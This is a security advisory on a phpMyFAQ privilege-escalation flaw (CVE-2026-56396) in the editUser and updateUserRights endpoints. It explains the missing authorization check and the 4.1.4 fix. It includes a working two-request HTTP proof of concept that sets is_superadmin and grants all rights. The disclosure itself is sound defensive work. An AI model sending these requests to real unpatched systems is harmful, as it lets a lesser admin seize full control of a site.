CVE-2026-56396: phpMyFAQ Privilege Escalation via Missing Authorization in editUser and updateUserRights
A non-SuperAdmin administrator in phpMyFAQ can promote themselves to SuperAdmin or grant arbitrary permissions to any account, because two admin API endpoints never check whether the caller has the pr
The problem
phpMyFAQ 4.1.3 patched an IDOR account-takeover (GHSA-xvp4-phqj-cjr3) by adding SuperAdmin guards to overwritePassword(). The same invariant was not applied to two sibling endpoints in the same controller: editUser() and updateUserRights().
Any admin holding only the delegable edit_user permission can POST to admin/api/user/edit with is_superadmin=1 and a chosen userId. The controller reads is_superadmin from the request body and passes it directly to User::setSuperAdmin(), which issues a raw UPDATE with no caller-privilege check.
The updateUserRights() endpoint has the identical shape: userId and a rights array flow straight to grantUserRight() with no guard beyond userHasPermission(USER_EDIT).
Proof of concept
POST /admin/api/user/edit HTTP/1.1
Host: target.example.com
Cookie: PHPSESSID=<valid_admin_session>
Content-Type: application/json
X-PMF-Token: <csrf_token_from_admin_page>
{
"userId": 2,
"is_superadmin": 1,
"status": "active",
"auth": "local"
}
# Step 2: also grant arbitrary rights via the sibling endpoint
POST /admin/api/user/update-rights HTTP/1.1
Host: target.example.com
Cookie: PHPSESSID=<valid_admin_session>
Content-Type: application/json
X-PMF-Token: <csrf_token_from_admin_page>
{
"userId": 2,
"userRights": [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21]
}The root cause is CWE-862 (Missing Authorization). editUser() reads is_superadmin directly from the request body at line 443 of UserController.php and calls $user->setSuperAdmin((bool)$isSuperAdmin) at line 463, with the only gate being userHasPermission(USER_EDIT), a right that non-SuperAdmin admins can hold.
User::setSuperAdmin() executes a raw UPDATE faquser SET is_superadmin=... with no caller-privilege check of its own.
The 4.1.3 patch proved the fix pattern: overwritePassword() gained isSelf + isSuperAdmin + target-protection guards. The 4.1.4 fix applies the same isSuperAdmin() check to editUser() and updateUserRights(), blocking non-SuperAdmin callers from touching the is_superadmin flag or granting rights they do not hold.
The CSRF token requirement does not mitigate the issue because an authenticated admin session already has access to read that token from any admin page.
The fix
Update to phpMyFAQ 4.1.4. The patch adds isSuperAdmin() guards to editUser() and updateUserRights() in UserController.php, ensuring only SuperAdmin callers can flip the is_superadmin flag or grant rights to other accounts. No workaround exists short of revoking the edit_user permission from all non-SuperAdmin administrators.
Reported by SnailSploit (0xShemesh).